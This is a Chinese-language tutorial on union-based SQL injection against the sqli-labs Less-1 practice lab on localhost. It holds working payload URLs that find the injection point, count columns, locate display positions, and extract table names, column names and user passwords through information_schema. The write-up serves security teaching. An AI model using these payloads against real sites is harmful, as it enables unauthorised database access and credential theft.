前置知识
- MySQL5.0以后存放一个默认数据库information_schema
- schemata表存放该用户创建的所有库名,schemata. schema_name字段存放库名
- tables表存放该用户创建的所有库名和表明,tables.table_schema字段存放库名,tables.table_name存放表名
- columns表存放该用户创建的所有库名、表名和字段名,columns.table_schema存放库名,columns.table_name存放表名,columns.column_name存放字段名
- database():当前使用的数据库
- version():当前MySQL的版本
- @@version_compile_os:当前操作系统
- user():当前MySQL的用户
group_concat() 罗列出当前参数的所有数据
靶场平台:
sqli-labs的less1
Union一般注入
判断注入点
127.0.0.1/sql/Less-1/?id=1',输入?id=1’后报错,根据报错信息 ''1'' LIMIT 0,1',单引号包含到就是报错位置'1'' LIMIT 0,1,其中1'是我们传入的,可以看到有一个单引号包裹着,由此推断出该sql语句由单引号的闭合模式
127.0.0.1/sql/Less-1/?id=1' and 1=1%23,(%23代表#),其中and 1=1为真,所以返回结果相同。因为是单引号的闭合模式,所以应该在1后面输入一个单引号将其闭合,否则将把后面的都当作整体,由于我们人为地闭合和引号,语句就变成‘1‘ and 1=1‘ LIMIT 0,1,会报错,
所以需要把后面的注释掉,#在地址栏不自动转换编码,所以手动转换%23,‘1‘ and 1=1#‘ LIMIT 0,1
127.0.0.1/sql/Less-1/?id=1' and 1=2%23,由于and 1=2为假,根据条件判断sql执行后是null的,所以返回未查到数据
order by猜字段数
通过order by n猜当前查询有几个字段,n取返回正常页面的最大值,原理是n代表使用第几列用于排序,假设只有3个字段,n取4就会报错 1054 - Unknown column '4' in 'order clause',因为没有第四个字段
127.0.0.1/sql/Less-1/?id=1' order by 3%23返回正常
127.0.0.1/sql/Less-1/?id=1' order by 4%23返回异常
故n为3,当前查询有3个字段
union联合查询获取显示位
127.0.0.1/sql/Less-1/?id=1' union select 1,2,3%23,order by中n是多少就需要填充几个数字(值)作为占位符,但发现没有得到期望结果
由于mysql前表查询的内容总在前面,后表查询的内容在后面,并且limit 0,1只返回一条结果,所以union获取的结果没有输出
补充:在access数据库中,后面union查询始终在第一行。
把参数修改为数据库中没有的数据,如-999,让前表无法查询到,从而返回后表的内容
故只要使得前表查询失败即可,127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3%23,从而得到显示位为2和3,这时就可以通过显示位去注入一些sql语句或函数来达到目的
注入利用
根据前置知识获取数据库的信息和数据
127.0.0.1/sql/Less-1/?id=-1' union select 1,version(),database()%23,尝试获取数据库名和数据库版本
group_concat() 将当前获取的所有数据拼接输出
查数据库security下的表名:127.0.0.1/sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= 'security'%23
查users表的字段名:127.0.0.1/sql/Less-1/?id=-1' union select 1, 2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
查询username和password:127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users %23